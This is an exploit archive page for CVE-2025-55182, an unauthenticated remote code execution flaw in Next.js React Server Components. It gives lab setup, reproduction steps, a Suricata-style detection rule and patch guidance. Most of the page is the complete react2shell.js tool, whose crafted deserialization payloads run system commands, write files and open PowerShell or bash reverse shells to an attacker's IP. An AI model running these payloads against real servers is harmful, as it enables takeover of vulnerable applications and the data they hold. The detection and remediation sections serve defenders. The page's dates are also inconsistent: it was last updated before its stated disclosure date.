PoC Archive PoC Archive
Critical CVE-2025-55182 patched

React2Shell - Next.js RSC Unauthenticated RCE

by zr0n (Luiz Fernando Ziron) · 2026-05-17

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-55182
Category
web
Affected product
Next.js (App Router with React Server Components), React
Affected versions
Next.js >=14.3.0-canary.77, all 15.x and 16.x with App Router; React 19.0, 19.1.0, 19.1.1, 19.2.0
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2025-12-07
Author / Researcherzr0n (Luiz Fernando Ziron)
CVE / AdvisoryCVE-2025-55182
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3)
StatusWeaponized
TagsRCE, Next.js, React, RSC, deserialization, prototype-pollution, unauthenticated, Node.js, cloud
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js (App Router with React Server Components), React
Versions AffectedNext.js >=14.3.0-canary.77, all 15.x and 16.x with App Router; React 19.0, 19.1.0, 19.1.1, 19.2.0
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2025-55182 is a CVSS 10.0 unauthenticated Remote Code Execution vulnerability in Next.js applications using React Server Components (RSC) with the App Router. The exploit abuses unsafe deserialization of the RSC wire format: a crafted multipart POST request with a next-action header causes the server to deserialize a malicious payload that accesses the Function constructor via prototype chain traversal (constructor.constructor), injecting arbitrary JavaScript code into the server process. The vulnerability affects a large fraction of cloud-hosted Next.js applications and has been rapidly exploited by China-nexus threat actors Earth Lamia and Jackpot Panda.


Vulnerability Details

Root Cause

React Server Components use a custom serialization format for inter-component communication. The Next.js server deserializes multipart form data from requests bearing the next-action header without sufficient sanitization of object keys and values. An attacker can craft a payload where the _formData.get field is set to '$3:constructor:constructor', which navigates the prototype chain to reach the JavaScript Function constructor. The _prefix field is then executed as arbitrary JavaScript code when the deserialized object is processed server-side.

Attack Vector

Unauthenticated HTTP POST to any Next.js App Router endpoint (typically /) with the next-action: x header and a multipart/form-data body containing a crafted RSC wire format payload. No session, token, or prior interaction is required. The exploit framework (react2shell.js) supports multiple payload types including whoami, reverse shell, and file system operations.

Impact

Unauthenticated Remote Code Execution as the Node.js process running the Next.js server. Attacker can read files, write files, execute system commands, and establish reverse shells. Affects approximately 39% of cloud environments running vulnerable Next.js versions.


Environment / Lab Setup

OS:          Linux or Windows
Target:      Node.js 18+, Next.js 15.0.4 (vulnerable) with App Router
Attacker:    Any system with Node.js 18+
Tools:       Node.js, npm, form-data package

Setup Steps

1
2
3
4
5
6
7
8
mkdir vulnerable-nextjs-app && cd vulnerable-nextjs-app
npx create-next-app@latest . --ts --app --no-eslint --tailwind
npm install next@15.0.4
npm run dev

npm install form-data

node react2shell.js http://localhost:3000 whoami

Proof of Concept

Step-by-Step Reproduction

  1. Spin up vulnerable target - Start Next.js server on a vulnerable version

    1
    
    npm install next@15.0.4 && npm run dev
    
  2. Run basic proof of concept - Verify code execution via arithmetic

    1
    2
    
    node react2shell.js http://localhost:3000 basic
    # Server console should show: EXPLOITED: 50
    
  3. Escalate to reverse shell - Set up listener and execute shell payload

    1
    2
    3
    4
    
    # Terminal 1
    nc -lvnp 4444
    # Terminal 2
    node react2shell.js http://localhost:3000 shell 10.10.10.5 4444
    

Exploit Code

See react2shell.js in this folder.

1
2
3
4
5
6
// Core vulnerability chain
{
  _formData: { get: '$3:constructor:constructor' },  // Accesses Function constructor
  _prefix: 'console.log(require("child_process").execSync("id").toString())//'
}
// Delivered via multipart POST with 'next-action: x' header

Expected Output

[*] Target: http://localhost:3000
[*] Payload: whoami
[*] Sending malicious request...
[+] Response status: 200

Screenshots / Evidence

  • No screenshots included in upstream repo.

Detection & Indicators of Compromise

POST / HTTP/1.1 with header: next-action
Content-Type: multipart/form-data
Body keys: 0, 1, 2, 3, 4 (numeric RSC wire format)
Body contains: constructor, _prefix, _formData

SIEM / IDS Rule (example):

alert http any any -> any any (msg:"CVE-2025-55182 React2Shell Next.js RCE Attempt"; content:"POST"; http_method; content:"next-action"; http_header; content:"constructor"; http_client_body; content:"_prefix"; http_client_body; sid:9000011;)

Remediation

ActionDetail
PatchUpgrade Next.js to >=16.0.7, >=15.5.7, >=15.4.8, >=15.3.6, >=15.2.6, >=15.1.9, or >=15.0.5. Upgrade React to >=19.2.1 or >=19.1.2.
WorkaroundImplement WAF rules blocking POST requests containing next-action header combined with constructor in the body; rate-limit RSC endpoints.
Config HardeningDisable App Router Server Actions if not required; restrict which routes accept next-action requests via middleware.

References


Notes

CVSS 10.0 - maximum severity. Reportedly affects 39% of cloud environments at time of disclosure. Exploited by China-nexus groups Earth Lamia and Jackpot Panda shortly after public release. The exploit framework is a fully functional multi-payload Node.js tool supporting basic PoC, reconnaissance, file creation proof, visual proof (calc/notepad), and cross-platform (Windows PowerShell / Linux bash) reverse shells. Stars: 6, Forks: 4. Language: JavaScript.

Auto-ingested from https://github.com/zr0n/react2shell on 2026-05-17.

react2shell.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
// CVE-2025-55182 - React2Shell Exploit
// Educational purposes only - Use at your own risk

const FormDataLib = require('form-data');

// Payload generators
function createBasicPayload() {
    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': 'console.log("EXPLOITED: " + (7*7+1))//',
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

function createWhoamiPayload() {
    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': 'console.log(global.process.mainModule.require("child_process").execSync("whoami").toString())//',
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

function createDirPayload() {
    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': 'console.log(global.process.mainModule.require("child_process").execSync("dir").toString())//',
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

function createSystemInfoPayload() {
    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': 'console.log(global.process.mainModule.require("child_process").execSync("systeminfo").toString())//',
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

function createFileProofPayload() {
    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': 'global.process.mainModule.require("fs").writeFileSync("EXPLOITED.txt","Compromised via CVE-2025-55182 at "+new Date().toISOString());console.log("File created: EXPLOITED.txt")//',
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

function createCalcPayload() {
    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': 'global.process.mainModule.require("child_process").spawn("calc.exe",{detached:true,stdio:"ignore"}).unref();console.log("Calculator launched")//',
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

function createNotepadPayload() {
    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': 'global.process.mainModule.require("child_process").spawn("notepad.exe",{detached:true,stdio:"ignore"}).unref();console.log("Notepad launched")//',
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

function createReverseShellPayload(attackerIP, port) {
    const isWindows = `(process.platform==="win32")`;

    const psCommand = `$c=New-Object System.Net.Sockets.TCPClient('${attackerIP}',${port});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()`;
    const winPayload = Buffer.from(psCommand, 'utf16le').toString('base64');

    const bashCommand = `bash -i >& /dev/tcp/${attackerIP}/${port} 0>&1`;
    const bashPayloadB64 = Buffer.from(bashCommand).toString('base64');

    return {
        '0': '$1',
        '1': {
            'status': 'resolved_model',
            'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': `(function(){var cp=global.process.mainModule.require("child_process");if(${isWindows}){cp.exec("powershell -EncodedCommand ${winPayload}")}else{cp.exec("echo ${bashPayloadB64}|base64 -d|bash")}console.log("Shell executed for "+process.platform)})()//`,
            '_formData': {
                'get': '$3:constructor:constructor'
            },
            '_chunks': '$2:_response:_chunks',
        }
    };
}

// Main exploit function
async function exploit(baseUrl, payloadType = 'basic', options = {}) {
    let payload;

    switch(payloadType) {
        case 'basic':
            payload = createBasicPayload();
            console.log('[*] Payload: basic (proof of concept)');
            break;
        case 'whoami':
            payload = createWhoamiPayload();
            console.log('[*] Payload: whoami');
            break;
        case 'dir':
            payload = createDirPayload();
            console.log('[*] Payload: dir');
            break;
        case 'systeminfo':
            payload = createSystemInfoPayload();
            console.log('[*] Payload: systeminfo');
            break;
        case 'file':
            payload = createFileProofPayload();
            console.log('[*] Payload: file proof (EXPLOITED.txt)');
            break;
        case 'calc':
            payload = createCalcPayload();
            console.log('[*] Payload: launch calculator');
            break;
        case 'notepad':
            payload = createNotepadPayload();
            console.log('[*] Payload: launch notepad');
            break;
        case 'shell':
            if (!options.ip || !options.port) {
                console.error('[!] Error: shell payload requires IP and PORT');
                return;
            }
            payload = createReverseShellPayload(options.ip, options.port);
            console.log(`[*] Payload: reverse shell to ${options.ip}:${options.port}`);
            console.log('[!] Ensure listener is ready: nc -lvnp ' + options.port);
            break;
        default:
            console.error('[!] Invalid payload type');
            return;
    }

    const fd = new FormDataLib();
    for (const key in payload) {
        fd.append(key, JSON.stringify(payload[key]));
    }

    console.log('[*] Sending malicious request...');

    const timeout = setTimeout(() => {
        console.log('[+] Request sent successfully');
        console.log('[*] Check server console for output');
        process.exit(0);
    }, 3000);

    try {
        const controller = new AbortController();
        const timeoutId = setTimeout(() => controller.abort(), 5000);

        const response = await fetch(baseUrl, {
            method: 'POST',
            headers: {
                'next-action': 'x',
                ...fd.getHeaders()
            },
            body: fd.getBuffer(),
            signal: controller.signal
        });

        clearTimeout(timeoutId);
        clearTimeout(timeout);

        console.log('[+] Response status:', response.status);
        const text = await response.text();

        if (response.status === 500) {
            console.log('[!] Server error - check for syntax issues');
        }

        console.log('[+] Response body:');
        console.log(text);
        console.log('\n[+] Exploit completed');
        console.log('[*] Check server console for command output');
        process.exit(0);
    } catch (error) {
        clearTimeout(timeout);
        if (error.name === 'AbortError') {
            console.log('[+] Request timeout - exploit likely executed');
            console.log('[*] Check server console or target system');
        } else {
            console.error('[!] Error:', error.message);
        }
        process.exit(0);
    }
}

// Parse command line arguments
const args = process.argv.slice(2);

if (args.length === 0) {
    console.log('Usage: node react2shell.js <target_url> <payload_type> [options]');
    process.exit(0);
}

const targetUrl = args[0];
const payloadType = args[1] || 'basic';

console.log('[*] Target:', targetUrl);

if (payloadType === 'shell') {
    if (args.length < 4) {
        console.error('[!] Error: shell payload requires IP and PORT');
        process.exit(1);
    }
    exploit(targetUrl, 'shell', { ip: args[2], port: args[3] });
} else {
    exploit(targetUrl, payloadType);
}